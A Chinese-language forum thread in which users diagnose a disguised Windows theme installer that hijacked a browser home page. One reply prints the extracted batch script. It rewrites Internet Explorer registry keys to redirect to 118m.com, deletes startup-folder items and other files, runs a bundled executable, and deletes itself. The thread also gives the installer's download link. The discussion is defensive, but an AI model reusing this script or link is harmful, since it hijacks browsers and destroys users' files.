微点拦截但还是没防住被改主页..

62590423

http://www.xp521.com/rjzx/UploadFile/深度XP VS主题.exe

会改主页...

wcj20236

无法下载。

Dirk

下载报毒

62590423

用迅雷..

palmerlee

注册表保护开了吗

Dirk

解压后...
这个的问题？

62590423

应该是这个了


微点是这样设置的..

悠柚

@reg delete "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /f
@reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main" /v "Start Page" /d "http://www.118m.com" /f
@reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start Page Redirect Cache" /d "http://www.118m.com" /f
@reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /d "http://www.118m.com" /f
@reg add "HKEY_USERs\.DEFAULT\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /d "http://www.118m.com" /f
@reg add "HKEY_USERs\S-1-5-18\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /d "http://www.118m.com" /f
@reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command" /v "" /d "C:\Program Files\Internet Explorer\IEXPLORE.EXE www.118m.com" /f
@reg add "HKEY_CLASSES_ROOT\HTTP\shell\open\command" /v "" /d "C:\Program Files\Internet Explorer\IEXPLORE.EXE http://www.118m.com" /f
@reg add "HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command" /v "" /d "C:\Program Files\Internet Explorer\IEXPLORE.EXE www.118m.com" /f
del "C:\Documents and Settings\All Users\「开始」菜单\程序\启动\*.*" /q /f
del "C:\Documents and Settings\Administrator\Application Data\Microsoft\Internet Explorer\Quick Launch\启动 Internet Explorer 浏览器.lnk" /q /f
del "c:\windows\addins\*.*" /q /f
@echo off
start "" "zhutibao6.5.exe"
del %0
@exit

是LZ自已不小心，遇到cmd bat文件，最好用记事本打开看一下

62590423

好在微点一修复就 OK了

wcj20236

微点修复的不是很全面，建议使用附件中工具彻底清理。